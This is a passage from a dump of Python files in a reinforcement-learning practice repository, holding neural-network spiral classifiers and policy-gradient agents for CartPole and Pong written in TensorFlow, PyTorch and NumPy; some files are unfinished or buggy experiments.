"text": "import tensorflow as tf\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\ndef generate_data(points, classes):\n N = points # number of points per class\n D = 2 # dimensionality\n K = classes # number of classes\n X = np.zeros((N * K, D)) # data matrix (each row = single example)\n y = np.zeros((N * K, K), dtype='uint8') # class labels\n for j in range(K):\n ix = range(N * j, N * (j + 1))\n r = np.linspace(0.0, 1, N) # radius\n t = np.linspace(j * 4, (j + 1) * 4, N) + np.random.randn(N) * 0.2 # theta\n X[ix] = np.c_[r * np.sin(t), r * np.cos(t)]\n y[ix, j] = 1\n\n return X, y\n\n\nlearning_rate = 1e-1\ninput_space = 2\nheight = 100\n\n# generating labelled training data\nN = 1000\nK = 3\nX = tf.placeholder(tf.float32, [N*K, 2])\nY = tf.placeholder(tf.float32, [N*K, 3])\n\nlayer_1 = tf.layers.Dense(height)\nlayer_2 = tf.layers.Dense(K)\n\nf = layer_2(tf.nn.relu(layer_1(X)))\n\n# compute the loss: average cross-entropy loss and regularization\nloss_sym = tf.losses.softmax_cross_entropy(logits=f, onehot_labels=Y)\ntrain = tf.train.AdamOptimizer(learning_rate).minimize(loss_sym)\n\nscale = 1\ndetail = 100\nXX = tf.placeholder(tf.float32, [detail**2, 2])\n\nff_sym = tf.nn.softmax(layer_2(tf.nn.relu(layer_1(XX))))\n\nfig = plt.figure()\ndata = np.random.rand(detail, detail, 3)\nim = plt.imshow(data)\nplt.colorbar(im)\nplt.ion()\nplt.show()\n\nwith tf.Session() as sess:\n\n sess.run(tf.global_variables_initializer())\n batch_x, batch_y = generate_data(N, K)\n [xx, yy] = np.meshgrid(np.linspace(-scale, scale, detail), np.linspace(-scale, scale, detail))\n batch_XX = np.stack([xx.flatten(), yy.flatten()], axis=1)\n\n for i in range(1, 2000):\n loss = sess.run(train, feed_dict={X: batch_x, Y: batch_y})\n loss = sess.run(loss_sym, feed_dict={X: batch_x, Y: batch_y})\n print(\"Step \" + str(i) + \", Loss= {:.4f}\".format(loss))\n\n if i % 100 == 0:\n ff = sess.run(ff_sym, feed_dict={XX: batch_XX})\n ff_map = np.reshape(ff, [detail, detail, 3])\n im.set_data(ff_map)\n plt.pause(0.001)\n" }, { "alpha_fraction": 0.545876145362854, "alphanum_fraction": 0.5730374455451965, "avg_line_length": 25.95535659790039, "blob_id": "9fcdd410dabded97ab55f544a1c8b75aa48bde76", "content_id": "8e18a981e06ef7cd1f9f7bc2b1e8c49558de35f4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3019, "license_type": "no_license", "max_line_length": 136, "num_lines": 112, "path": "/GD-Cart/__init__.py", "repo_name": "M-J-Murray/gym_practice", "src_encoding": "UTF-8", "text": "import gym\nimport numpy as np\n\n\ndef sigmoid(x):\n return 1.0 / (1.0 + np.exp(-x))\n\n\ndef discount_rewards(r):\n discounted_r = np.zeros_like(r)\n running_add = 0\n for t in reversed(xrange(0, r.shape[1])):\n running_add = running_add * 0.99 + r[0, t]\n discounted_r[0, t] = running_add\n discounted_r -= np.mean(discounted_r)\n discounted_r /= np.std(discounted_r)\n return discounted_r\n\n\ndef forward_prop(x, network):\n L1A = np.maximum(np.dot(network['W1'], x)[:, None] + network['b1'], 0)\n L2A = sigmoid(np.dot(network['W2'], L1A) + network['b2'])\n return L1A, L2A\n\n\ndef back_prop(history, network):\n d = -(history['ep_y']/history['ep_r'] - history['ep_f'])\n ep_g = np.maximum(np.dot(network['W1'], history['ep_X']) + network['b1'], 0)\n D_W2 = np.dot(d, ep_g.T)\n D_b2 = np.sum(d)\n D_W1 = np.dot(np.multiply(d, np.multiply(ep_g > 0, network['W2'].T)), history['ep_X'].T)\n D_b1 = np.sum(np.multiply(d, np.multiply(ep_g > 0, network['W2'].T)), axis=1)\n\n return {'W1': D_W1, 'b1': D_b1[:, None], 'W2': D_W2, 'b2': D_b2}\n\n\nenv = gym.make('CartPole-v0')\nobservation = env.reset()\n# seed = 50\n# np.random.seed(seed)\n# env.seed(seed)\n\nlearning_rate = 1e-4\ninput_space = 4\nheight = 160\n\nnetwork = {\n 'W1': np.random.randn(height, input_space),\n 'b1': np.zeros((height, 1)),\n 'W2': np.random.randn(1, height),\n 'b2': 0}\n\nrunning_reward = None\nepisode = 0\nbest_score = None\n\nwhile True:\n episode += 1\n\n history = {\n 'ep_X': [],\n 'ep_f': [],\n 'ep_y': [],\n 'ep_r': []}\n\n done = False\n # Run game\n while not done:\n\n\n\n history['ep_X'].append(observation)\n g, f = forward_prop(observation, network)\n history['ep_f'].append(f[0][0])\n\n if f[0][0] > np.random.uniform():\n action = 0\n else:\n action = 1\n history['ep_y'].append(action)\n\n observation, reward, done, info = env.step(action)\n\n history['ep_r'].append(reward)\n\n sum_reward = np.sum(history['ep_r'])\n if best_score is None:\n best_score = sum_reward\n elif sum_reward > best_score:\n best_score = sum_reward\n running_reward = sum_reward if running_reward is None else running_reward * 0.99 + sum_reward * 0.01\n if episode % 100 == 0:\n print \"episode {:4.0f} complete - average reward = {:3.0f}, best score is = {:3.0f}\".format(episode, running_reward, best_score)\n\n # Arrays to matrices\n history['ep_X'] = np.column_stack(history['ep_X'])\n history['ep_f'] = np.column_stack(history['ep_f'])\n history['ep_y'] = np.column_stack(history['ep_y'])\n history['ep_r'] = np.column_stack(history['ep_r'])\n\n # Adjust rewards\n history['ep_r'] = discount_rewards(history['ep_r'])\n history['ep_r'] -= np.mean(history['ep_r'])\n history['ep_r'] /= np.std(history['ep_r'])\n\n grad = back_prop(history, network)\n\n # update step\n for k, v in network.iteritems():\n network[k] -= learning_rate * grad[k]\n\n observation = env.reset()\n" }, { "alpha_fraction": 0.5717563033103943, "alphanum_fraction": 0.5850114822387695, "avg_line_length": 32.53845977783203, "blob_id": "656f354cf7f3ba89fdc9cd94b41fd3ec7cfc419a", "content_id": "18b7a49be3de1eef03ba17a59c95510d19f1b66e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3923, "license_type": "no_license", "max_line_length": 80, "num_lines": 117, "path": "/MP-Conv-Pong-Split/Worker.py", "repo_name": "M-J-Murray/gym_practice", "src_encoding": "UTF-8", "text": "#!/home/michael/anaconda3/envs/AIGym/bin/python3.6\nimport torch\nimport torch.multiprocessing as mp\nfrom torch.multiprocessing import SimpleQueue\nfrom torch.autograd import Variable\nimport numpy as np\nimport torch.utils.data as td\n\nimport torch.nn.functional as F\nimport traceback\nimport matplotlib.pyplot as plt\nimport torch.optim as optim\nimport torch.nn as nn\nfrom Model import Model\nimport gym\n\ndef prepro(I):\n I = I[32:198, 16:144] # crop\n I = I[::4, ::2, 0] # downsample by factor of 4\n return torch.cuda.FloatTensor(np.array(I, dtype=\"uint8\").reshape(1,1,42,64))\n\ndef chooseAction(f):\n th = torch.cuda.FloatTensor(1).uniform_() \n runSum = torch.cuda.FloatTensor(1).fill_(0)\n for i in range(f.size(1)):\n runSum += f.data[0,i]\n if th[0] < runSum[0]:\n break\n return i\n\ndef discount_rewards(r, gamma = 0.99):\n discounted_r = torch.zeros_like(r)\n running_add = 0\n for t in reversed(range(r.size(0))):\n if r[t] != 0: running_add = 0\n running_add = running_add * gamma + r[t]\n discounted_r[t] = running_add\n return discounted_r\n\ndef compileHistory(history):\n history[\"observation\"] = torch.cat(history[\"observation\"])\n history[\"action\"] = torch.cat(history[\"action\"])\n rewards = discount_rewards(torch.cat(history[\"reward\"]))\n history[\"reward\"] = (rewards - rewards.mean())/rewards.std()\n return history\n\ndef train(model, criterion, optimizer, history):\n output = model(Variable(history[\"observation\"].cuda()))\n actions = Variable(history[\"action\"].cuda())\n rewards = Variable(history[\"reward\"].cuda())\n optimizer.zero_grad()\n loss = torch.sum(rewards*criterion(output,actions))\n loss.backward()\n optimizer.step()\n\nclass Worker(mp.Process):\n\n def __init__(self, env, model, criterion, optimizer, reward_queue, name):\n super(Worker, self).__init__()\n self.env = env\n self.model = model\n self.criterion = criterion\n self.optimizer = optimizer\n self.reward_queue = reward_queue\n self.name = name\n\n def run(self):\n try:\n while True:\n history = {\"observation\":[], \"action\": [], \"reward\": []}\n done = False\n observation = self.env.reset()\n for i in range(22):\n if i == 21:\n prev_x = prepro(observation)\n observation, r, done, info = self.env.step(0)\n \n epoch_reward = 0\n while not done:\n #self.env.render()\n cur_x = prepro(observation)\n x = cur_x - prev_x\n prev_x = cur_x\n\n output = self.model(Variable(x, volatile=True))\n action = chooseAction(F.softmax(output, dim=1))\n\n history[\"action\"].append(torch.LongTensor(1).fill_(action))\n\n observation, r, done, info = self.env.step(action+2)\n\n epoch_reward += r\n history[\"observation\"].append(x.cpu())\n history[\"reward\"].append(torch.FloatTensor(1).fill_(r))\n\n self.reward_queue.put(epoch_reward)\n history = compileHistory(history)\n train(self.model, self.criterion, self.optimizer, history)\n \n except Exception as identifier:\n self.reward_queue.put(identifier)\n self.reward_queue.put(traceback.format_exc())\n \n\nif __name__ == '__main__':\n mp.set_start_method('spawn')\n learning_rate = 1e-3\n model = Model(2)\n model.cuda()\n model.share_memory()\n criterion = nn.CrossEntropyLoss(reduce=False)\n optimizer = optim.Adam(model.parameters(), lr=learning_rate)\n env = gym.make(\"Pong-v0\")\n queue = SimpleQueue()\n worker = Worker(env, model, criterion, optimizer, queue, \"test\")\n worker.run()\n print(queue.get())" }, { "alpha_fraction": 0.5776326060295105, "alphanum_fraction": 0.6114527583122253, "avg_line_length": 27.91111183166504, "blob_id": "83d80230a8225f825096d8fc60d3ff86933df20a", "content_id": "8eb32017fa402f3d4ad898d0e4b4777f1b35a539", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2602, "license_type": "no_license", "max_line_length": 94, "num_lines": 90, "path": "/Torch-Spiral/__init__.py", "repo_name": "M-J-Murray/gym_practice", "src_encoding": "UTF-8", "text": "import torch\nfrom torch.autograd import Variable\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport torch.nn as nn\n\n\ndef softmax(f):\n exp_f = torch.exp(f)\n return exp_f / exp_f.sum(0)\n\ndef generate_data(points, classes):\n N = points # number of points per class\n D = 2 # dimensionality\n K = classes # number of classes\n X = np.zeros((N * K, D)) # data matrix (each row = single example)\n y = np.zeros(N * K, dtype='uint8') # class labels\n for j in range(K):\n ix = range(N * j, N * (j + 1))\n r = np.linspace(0.0, 1, N) # radius\n t = np.linspace(j * 4, (j + 1) * 4, N) + np.random.randn(N) * 0.2 # theta\n X[ix] = np.c_[r * np.sin(t), r * np.cos(t)]\n y[ix] = j\n return X, y\n\n#torch.manual_seed(50)\nlearning_rate = 1e-1\nreg = 1e-3\ninput_space = 2\nheight = 100\n\ncriterion = nn.CrossEntropyLoss()\n\n# generating labelled training data\nN = 500\nK = 3\nX, y = generate_data(N, K)\nX = Variable(torch.FloatTensor(X.T))\ny = Variable(torch.LongTensor(y.T))\n\n\nW1 = Variable(torch.randn(height, input_space), requires_grad=True)\nb1 = Variable(torch.zeros(height, 1), requires_grad=True)\nW2 = Variable(torch.randn(K, height), requires_grad=True)\nb2 = Variable(torch.zeros(K, 1), requires_grad=True)\n\nscale = 1\ndetail = 100\n[xx, yy] = np.meshgrid(np.linspace(-scale, scale, detail), np.linspace(-scale, scale, detail))\nXX = Variable(torch.FloatTensor(np.stack([xx.flatten(), yy.flatten()])))\n\nfig = plt.figure()\ndata = np.random.rand(detail, detail, 3)\nim = plt.imshow(data)\nplt.colorbar(im)\nplt.ion()\nplt.show()\n\nfor i in range(1, 2000):\n\n # Forward\n g = (W1.mm(X) + b1).clamp(min=0)\n f = W2.mm(g) + b2\n\n # compute the loss: average cross-entropy loss and regularization\n #corect_logprobs = -torch.log(f[y, range(N*K)])\n #data_loss = corect_logprobs.sum(0) / N\n data_loss = criterion(f.transpose(1,0), y)\n #reg_loss = 0.5 * reg * torch.sum(W1 * W1) + 0.5 * reg * torch.sum(W2 * W2)\n #loss = data_loss + reg_loss\n\n data_loss.backward()\n\n W1.data -= learning_rate * W1.grad.data\n b1.data -= learning_rate * b1.grad.data\n W2.data -= learning_rate * W2.grad.data\n b2.data -= learning_rate * b2.grad.data\n\n W1.grad.data.zero_()\n b1.grad.data.zero_()\n W2.grad.data.zero_()\n b2.grad.data.zero_()\n\n if i % 100 == 0:\n gg = (W1.mm(XX) + b1).clamp(min=0)\n ff = softmax(W2.mm(gg) + b2)\n ff_map = np.transpose(np.reshape(ff.data.numpy(), [3, detail, detail]), (1,2,0))\n im.set_data(ff_map)\n plt.pause(0.0001)\n print(\"iteration %d: loss %f\" % (i, data_loss))\n" }, { "alpha_fraction": 0.589067816734314, "alphanum_fraction": 0.6207906007766724, "avg_line_length": 24, "blob_id": "ada6c3e3e0d79d169370acc35057573fdd9980e4", "content_id": "563215025b69d46cb641743a895eeb09ef58b09e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2049, "license_type": "no_license", "max_line_length": 111, "num_lines": 82, "path": "/Conv-Pong/Pong.py", "repo_name": "M-J-Murray/gym_practice", "src_encoding": "UTF-8", "text": "import gym\nimport torch\nimport random\nimport numpy as np\nfrom Model import Model\nfrom torch.autograd import Variable\nimport torch.nn as nn\n\n\ndef prepro(I):\n \"\"\" prepro 210x160x3 uint8 frame into 6400 (80x80) 1D float vector \"\"\"\n I = I[35:195] # crop\n I = I[::2, ::2, 0] # downsample by factor of 2\n I[I == 144] = 0 # erase background (background type 1)\n I[I == 109] = 0 # erase background (background type 2)\n I[I != 0] = 1 # everything else (paddles, ball) just set to 1\n return Variable(torch.from_numpy(np.array(I, dtype=\">f\")).cuda())\n\n\ndef chooseAction(f):\n th = random.uniform(0, 1)\n runSum = 0\n for i in range(f.size()[0]):\n runSum += f.data[i]\n if th < runSum:\n return i\n\n\ndef discount_rewards(r):\n \"\"\" take 1D float array of rewards and compute discounted reward \"\"\"\n discounted_r = Variable(torch.zeros_like(r.data))\n running_add = 0\n for t in reversed(range(r.size(1))):\n if r.data[0, t] != 0: running_add = 0 # reset the sum, since this was a game boundary (pong specific!)\n running_add = running_add * 0.99 + r.data[0, t]\n discounted_r.data[0, t] = running_add\n return discounted_r\n\n\nenv = gym.make(\"Pong-v0\")\n\nseed = 1\nrandom.seed(seed)\nenv.seed(seed)\ntorch.manual_seed(seed)\ntorch.cuda.manual_seed(seed)\nobservation = prepro(env.reset())\n\neta = 1e-5\nprev_x = None\nhistory = {\"X\": [], \"g\": [], \"f\": [], \"dlogp\": [], \"r\": []}\nrunning_reward = None\nepisode = 0\nbest_score = None\n\nmodel = Model()\n\n# Loss and Optimizer\ncriterion = nn.CrossEntropyLoss()\noptimizer = torch.optim.RMSprop(model.parameters())\n\n\nwhile True:\n\n\n cur_x = prepro(observation)\n x = cur_x - prev_x if prev_x is not None else np.zeros(80, 80)\n prev_x = cur_x\n\n f = model.forward(x)\n\n action = chooseAction(f)\n\n history[\"x\"].append(x)\n history[\"f\"].append(f)\n history[\"g\"].append(g)\n history[\"dlogp\"].append(f[action] - 1)\n\n X, r, done, info = env.step(action + 2)\n X = prepro(X)\n\n history[\"r\"].append(Variable(torch.from_numpy([r])))" }, { "alpha_fraction": 0.5335542559623718, "alphanum_fraction": 0.5602734088897705, "avg_line_length": 33.98550796508789, "blob_id": "1afe6c7c33217a805d7fcebf95cd17fd8f8e9e95", "content_id": "04ef11ae3f16386beb02ceb380181e8188ed0bb5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4828, "license_type": "no_license", "max_line_length": 138, "num_lines": 138, "path": "/BP-Pong/BP-Pong.py", "repo_name": "M-J-Murray/gym_practice", "src_encoding": "UTF-8", "text": "import random\nfrom math import sqrt\nimport gym\nimport torch\nfrom torch.autograd import Variable\nimport numpy as np\n\n\ndef prepro(I):\n \"\"\" prepro 210x160x3 uint8 frame into 6400 (80x80) 1D float vector \"\"\"\n I = I[35:195] # crop\n I = I[::2, ::2, 0] # downsample by factor of 2\n I[I == 144] = 0 # erase background (background type 1)\n I[I == 109] = 0 # erase background (background type 2)\n I[I != 0] = 1 # everything else (paddles, ball) just set to 1\n return Variable(torch.from_numpy(np.array(I, dtype=\">f\").reshape(6400)).cuda())\n\n\ndef softmax(f):\n exp_f = torch.exp(f)\n return exp_f / exp_f.sum(0)\n\n\ndef chooseAction(f):\n th = random.uniform(0, 1)\n runSum = 0\n for i in range(f.size()[0]):\n runSum += f.data[i]\n if th < runSum:\n return i\n\n\ndef compileHistory(history):\n history[\"X\"] = torch.stack(history[\"X\"], 1)\n history[\"g\"] = torch.stack(history[\"g\"], 1)\n history[\"f\"] = torch.stack(history[\"f\"], 1)\n history[\"dlogp\"] = torch.stack(history[\"dlogp\"], 1)\n history[\"r\"] = discount_rewards(torch.stack(history[\"r\"], 1))\n return history\n\n\ndef discount_rewards(r):\n \"\"\" take 1D float array of rewards and compute discounted reward \"\"\"\n discounted_r = torch.zeros_like(r).cuda()\n running_add = 0\n for t in reversed(range(r.size(1))):\n if r.data[0, t] != 0: running_add = 0 # reset the sum, since this was a game boundary (pong specific!)\n running_add = running_add * 0.99 + r.data[0, t]\n discounted_r.data[0, t] = running_add\n return discounted_r\n\n\nenv = gym.make(\"Pong-v0\")\n\nseed = 1\nrandom.seed(seed)\nenv.seed(seed)\ntorch.manual_seed(seed)\ntorch.cuda.manual_seed(seed)\nobservation = env.reset()\n\neta = 1e-4\nreg = 1e-3\nD = 80*80\ndecay_rate = 0.99\n\nlayerDims = {\n \"H1\": 200,\n \"H2\": 2,\n}\n\nnetwork = {\n \"W1\": Variable(torch.randn(layerDims[\"H1\"], D).cuda() / sqrt(D), requires_grad=True),\n \"b1\": Variable(torch.zeros(layerDims[\"H1\"]).cuda(), requires_grad=True),\n \"W2\": Variable(torch.randn(layerDims[\"H2\"], layerDims[\"H1\"]).cuda() / sqrt(layerDims[\"H1\"]), requires_grad=True),\n \"b2\": Variable(torch.zeros(layerDims[\"H2\"]).cuda(), requires_grad=True),\n}\ngrad_buffer = {k: torch.zeros_like(v).cuda() for k, v in network.items()} # update buffers that add up gradients over a batch\nrmsprop_cache = {k: torch.zeros_like(v).cuda() for k, v in network.items()} # rmsprop memory\n\nhistory = {\"X\": [], \"g\": [], \"f\": [], \"dlogp\": [], \"r\": []} # type: dict\n\nrunning_reward = None\nepisode = 0\nbest_score = None\nprev_x = None\n\nwhile True:\n # env.render()\n # preprocess the observation, set input to network to be difference image\n cur_x = prepro(observation)\n x = cur_x - prev_x if prev_x is not None else Variable(torch.zeros(D).cuda())\n prev_x = cur_x\n\n g = (torch.mv(network[\"W1\"], x) + network[\"b1\"]).clamp(min=0)\n f = softmax(torch.mv(network[\"W2\"], g) + network[\"b2\"])\n action = chooseAction(f)\n\n history[\"X\"].append(x)\n history[\"f\"].append(f)\n history[\"g\"].append(g)\n history[\"dlogp\"].append(-torch.log(f[action]))\n\n observation, r, done, info = env.step(action+2)\n\n history[\"r\"].append(Variable(torch.FloatTensor([r]).cuda()))\n\n if done:\n episode += 1\n\n sum_reward = torch.sum(torch.stack(history[\"r\"])).data[0]\n if best_score is None:\n best_score = sum_reward\n elif sum_reward > best_score:\n best_score = sum_reward\n running_reward = sum_reward if running_reward is None else running_reward * 0.9 + sum_reward * 0.1\n if episode % 1 == 0:\n print(\"episode {:4.0f} complete - average reward = {:3.0f}, last score was = {:3.0f}, best score is = {:3.0f}\".format(episode,\n running_reward,\n sum_reward,\n best_score))\n history = compileHistory(history)\n\n data_loss = torch.sum(history[\"dlogp\"])/history[\"f\"].size(1)\n reg_loss = 0.5 * reg * torch.sum(network[\"W1\"] * network[\"W1\"]) + 0.5 * reg * torch.sum(network[\"W2\"] * network[\"W2\"])\n loss = data_loss + reg_loss\n\n loss.backward()\n\n for k, v in network.items():\n rmsprop_cache[k] = decay_rate * rmsprop_cache[k] + (1 - decay_rate) * network[k].grad ** 2\n network[k].data -= eta * network[k].grad.data / (torch.sqrt(rmsprop_cache[k].data) + 1e-5)\n grad_buffer[k] = torch.zeros_like(v).cuda()\n network[k].grad.data.zero_()\n\n X = env.reset()\n prev_x = None\n history = {\"X\": [], \"g\": [], \"f\": [], \"dlogp\": [], \"r\": []}\n" }, { "alpha_fraction": 0.49003517627716064, "alphanum_fraction": 0.5416178107261658, "avg_line_length": 31.846153259277344, "blob_id": "811847926aed1e9a67adb64a32fee16da9191330", "content_id": "63832449aae4c6634fb55ecd51216486a0efd362", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 853, "license_type": "no_license", "max_line_length": 55, "num_lines": 26, "path": "/MP-Conv-Pong/Model.py", "repo_name": "M-J-Murray/gym_practice", "src_encoding": "UTF-8", "text": "#!/home/michael/anaconda3/envs/AIGym/bin/python3.6\nimport torch.nn as nn \n\nclass Model(nn.Module):\n\n def __init__(self, num_classes):\n super(Model, self).__init__()\n self.conv1 = nn.Sequential(\n nn.Conv2d(1, 12, kernel_size=5, stride=2),\n #nn.BatchNorm2d(12),\n nn.ReLU())\n self.conv2 = nn.Sequential(\n nn.Conv2d(12, 24, kernel_size=5, stride=2),\n #nn.BatchNorm2d(24),\n nn.ReLU())\n self.conv3 = nn.Sequential(\n nn.Conv2d(24, 24, kernel_size=5, stride=2),\n #nn.BatchNorm2d(24),\n nn.ReLU())\n self.fc = nn.Linear(24*2*5, num_classes)\n\n def forward(self, image, softmax=True):\n out = self.conv1(image)\n out = self.conv2(out)\n out = self.conv3(out)\n return self.fc(out.view(out.size(0), -1))" }, { "alpha_fraction": 0.5657216310501099, "alphanum_fraction": 0.5657216310501099, "avg_line_length": 27.846153259277344, "blob_id": "17e2cc2157ceab26fa54e2c1c365e496c0be2d8d", "content_id": "e6298ecee8b03887b0a8cf52e29fe4c4dea3bb36", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 776, "license_type": "no_license", "max_line_length": 57, "num_lines": 26, "path": "/original/History.py", "repo_name": "M-J-Murray/gym_practice", "src_encoding": "UTF-8", "text": "import numpy as np\r\nfrom Tools import discount_rewards\r\n\r\n\r\nclass History:\r\n def __init__(self):\r\n self.ep_X = []\r\n self.ep_f = []\r\n self.ep_y = []\r\n self.ep_r = []\r\n\r\n def append(self, observation, f, action, reward):\r\n self.ep_X.append(observation)\r\n self.ep_f.append(f)\r\n self.ep_y.append(action)\r\n self.ep_r.append(reward)\r\n\r\n def compile(self):\r\n self.ep_X = np.column_stack(self.ep_X)\r\n self.ep_f = np.column_stack(self.ep_f)\r\n self.ep_y = np.column_stack(self.ep_y)\r\n self.ep_r = np.column_stack(self.ep_r)\r\n\r\n discounted_rewards = discount_rewards(self.ep_r)\r\n discounted_rewards -= np.mean(discounted_rewards)\r\n self.ep_r /= np.std(discounted_rewards)\r\n" }, { "alpha_fraction": 0.5540897250175476, "alphanum_fraction": 0.5910290479660034, "avg_line_length": 25.214284896850586, "blob_id": "05df22b4fd17baf2fc4b3e72c78e4f06de429119", "content_id": "d97e7cbaec719e381f652aa50f5b29a9403e9c89", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 379, "license_type": "no_license", "max_line_length": 85, "num_lines": 14, "path": "/original/Tools.py", "repo_name": "M-J-Murray/gym_practice", "src_encoding": "UTF-8", "text": "import numpy as np\r\n\r\n\r\ndef sigmoid(x):\r\n return 1.0 / (1.0 + np.exp(-x)) # sigmoid \"squashing\" function to interval [0,1]\r\n\r\n\r\ndef discount_rewards(r):\r\n discounted_r = np.zeros_like(r)\r\n running_add = 0\r\n for t in reversed(range(0, r.shape[1])):\r\n running_add = running_add * 0.99 + r[0, t]\r\n discounted_r[0, t] = running_add\r\n return discounted_r" }, { "alpha_fraction": 0.6047058701515198, "alphanum_fraction": 0.6211764812469482, "avg_line_length": 29.428571701049805, "blob_id": "0e15baf3ce66852908b459c9d18f4fdf401c645e", "content_id": "26a5fc02ffebb9071de53a369cc2be5d5a6b6060", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 425, "license_type": "no_license", "max_line_length": 57, "num_lines": 14, "path": "/Torch-Spiral-Rate/BPModel.py", "repo_name": "M-J-Murray/gym_practice", "src_encoding": "UTF-8", "text": "#!/home/michael/anaconda3/envs/AIGym/bin/python3.6\nimport torch.nn as nn\n\nclass BPModel(nn.Module):\n\n def __init__(self, input_space, height, num_classes):\n super(BPModel, self).__init__()\n self.fc1 = nn.Linear(input_space, height)\n self.relu = nn.ReLU()\n self.fc2 = nn.Linear(height, num_classes)\n\n def forward(self, out):\n out = self.relu(self.fc1(out))\n return self.fc2(out)" }, { "alpha_fraction": 0.601509153842926, "alphanum_fraction": 0.6410348415374756, "avg_line_length": 28.606382369995117, "blob_id": "b71abc896ef717f2a649cc048592882673f0cb64", "content_id": "2314cc302237c5b90d248cae4f96ab2636319868", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2783, "license_type": "no_license", "max_line_length": 103, "num_lines": 94, "path": "/Torch-Circle-Rate/__init__.py", "repo_name": "M-J-Murray/gym_practice", "src_encoding": "UTF-8", "text": "import torch\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom torch.autograd import Variable\nfrom torch.nn import Softmax\nfrom Datasets import circle_ds\n\n\ndef sigmoid(x):\n return 1.0 / (1.0 + torch.exp(-x)) # sigmoid \"squashing\" function to interval [0,1]\n\n\n# def softmax(f):\n# exp_f = torch.exp(f)\n# return exp_f / exp_f.sum(0)\n\n\ndef asNumpy(f):\n return f.cpu().data.numpy()\n\n\ndef isNan(f):\n return np.isnan(asNumpy(f.sum())[0])\n\ntorch.manual_seed(2)\nlearning_rate = 1e-5\ninput_space = 2\noutput_space = 2\nheight = 20\n\nW1 = Variable(torch.randn(height, input_space).cuda(), requires_grad=True)\nR1 = Variable(torch.zeros(height, input_space).cuda(), requires_grad=True)\nV1 = Variable(torch.zeros(height, 1).cuda(), requires_grad=True)\nH1 = Variable(torch.zeros(input_space, 1).cuda(), requires_grad=True)\nW2 = Variable(torch.randn(output_space, height).cuda(), requires_grad=True)\nR2 = Variable(torch.zeros(output_space, height).cuda(), requires_grad=True)\nV2 = Variable(torch.zeros(output_space, 1).cuda(), requires_grad=True)\nH2 = Variable(torch.zeros(height, 1).cuda(), requires_grad=True)\n\n# generating labelled training data\nN = 1000\ndims = 5\nX, y = circle_ds(N, dims)\n\n# generating the 2d plot\nK = 50\n[xx, yy] = np.meshgrid(np.linspace(-dims, dims, K), np.linspace(-dims, dims, K))\nXX = Variable(torch.from_numpy(np.vstack([xx.flatten(), yy.flatten()])).type(torch.FloatTensor).cuda())\n\nfig = plt.figure()\ndata = np.random.rand(50, 50)\nim = plt.imshow(data, interpolation='nearest', cmap='plasma')\nplt.colorbar(im)\nplt.ion()\nplt.show()\n\nsoftmax = Softmax(0)\n\nfor i in range(1, 1000):\n\n g = (V1 + torch.mm(W1, X) + torch.mm(R1, (X + H1)*(X + H1))).clamp(min=0)\n f = softmax(V2 + torch.mm(W2, g) + torch.mm(R2, (g + H2)*(g + H2)))\n\n corect_logprobs = 1-f[y.cpu().data.numpy(), range(N)]\n data_loss = torch.sum(corect_logprobs)\n\n data_loss.backward()\n\n #learning_rate -= 1e-7\n\n W1.data -= learning_rate * W1.grad.data\n R1.data -= learning_rate * R1.grad.data\n V1.data -= learning_rate * V1.grad.data\n H1.data -= learning_rate * H1.grad.data\n W2.data -= learning_rate * W2.grad.data\n R2.data -= learning_rate * R2.grad.data\n V2.data -= learning_rate * V2.grad.data\n H2.data -= learning_rate * H2.grad.data\n\n W1.grad.data.zero_()\n R1.grad.data.zero_()\n V1.grad.data.zero_()\n H1.grad.data.zero_()\n W2.grad.data.zero_()\n R2.grad.data.zero_()\n V2.grad.data.zero_()\n H2.grad.data.zero_()\n\n if i%1==0:\n gg = (V1 + torch.mm(W1, XX) + torch.mm(R1, (XX + H1)*(XX + H1))).clamp(min=0)\n ff = softmax(V2 + torch.mm(W2, gg) + torch.mm(R2, (gg + H2)*(gg + H2)))\n grid = np.reshape(ff.cpu().data.numpy()[1,range(2500)], [50, 50])\n im.set_data(grid)\n plt.pause(0.0001)\n" }, { "alpha_fraction": 0.6048929691314697, "alphanum_fraction": 0.6403669714927673, "avg_line_length": 34.543479919433594, "blob_id": "52dbb71651f9398c6249e011a6e44fc456e7ca2d", "content_id": "807d539c716feff537c62bfb25afaa2ca24a6b52", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1635, "license_type": "no_license", "max_line_length": 103, "num_lines": 46, "path": "/FlowPong4/WorkerUtils.py", "repo_name": "M-J-Murray/gym_practice", "src_encoding": "UTF-8", "text": "import numpy as np\n\n# pre-processes the frames returned by the game, so that they are suitable for the network\ndef prepro(frame):\n frame = frame[32:198, 16:144] # crop\n frame = 0.2989 * frame[:, :, 0] + 0.5870 * frame[:, :, 1] + 0.1140 * frame[:, :, 2] # greyscale\n frame = frame[::4, ::2]\n return frame.reshape(1, 1, 42, 64).astype(\"uint8\")\n\n\ndef discount_rewards(r, gamma=0.99):\n discounted_r = np.zeros_like(r)\n running_add = 0\n for t in reversed(range(0, len(r))):\n if r[t] != 0: running_add = 0 # reset the sum, since this was a game boundary (pong specific!)\n running_add = running_add * gamma + r[t]\n discounted_r[t] = running_add\n return discounted_r\n\n\n# Randomly selects an action from the supplied distribution f\ndef choose_action(f):\n hot = np.zeros_like(f, dtype=\"uint8\")\n th = np.random.uniform(0, 1)\n run_sum = 0\n i = 0\n for i in range(f.size):\n run_sum += f[0, i]\n if th < run_sum:\n break\n hot[0, i] = 1\n return hot\n\n\n# trains a model using the training dataset by randomly sub-sampling batches based on the batch_size.\n# Note how the gradient is kept from every batch and then used to adjust the network weights\ndef train(sess, model, history):\n observations = np.concatenate(history[\"observations\"]).astype(\"float32\")\n actions = 